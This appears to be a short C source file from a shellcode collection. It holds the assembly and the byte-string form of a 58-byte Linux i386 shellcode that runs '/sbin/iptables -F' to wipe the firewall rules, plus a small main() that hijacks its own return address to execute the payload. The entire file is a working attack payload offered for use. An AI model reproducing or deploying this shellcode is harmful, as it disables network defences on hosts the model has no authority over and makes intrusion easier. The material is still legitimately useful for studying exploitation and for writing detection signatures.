/* The shellcode flushs the iptables by running /sbin/iptables -F no exit() greetz to zilion: man, my code is shorter! size = 58 bytes OS = Linux i386 written by /rootteam/dev0id (www.sysworld.net) BITS 32 jmp short callme main: pop esi xor eax,eax mov byte [esi+14],al mov byte [esi+17],al mov long [esi+18],esi lea ebx,[esi+15] mov long [esi+22],ebx mov long [esi+26],eax mov al,0x0b mov ebx,esi lea ecx,[esi+18] lea edx,[esi+26] int 0x80 callme: call main db '/sbin/iptables#-F#' */ char shellcode[] = "\xeb\x21\x5e\x31\xc0\x88\x46\x0e\x88\x46\x11\x89\x76\x12\x8d" "\x5e\x0f\x89\x5e\x16\x89\x46\x1a\xb0\x0b\x89\xf3\x8d\x4e\x12" "\x8d\x56\x1a\xcd\x80\xe8\xda\xff\xff\xff\x2f\x73\x62\x69\x6e" "\x2f\x69\x70\x74\x61\x62\x6c\x65\x73\x23\x2d\x46\x23"; int main() { int *ret; ret = (int *)&ret + 2; (*ret) = (int)shellcode; }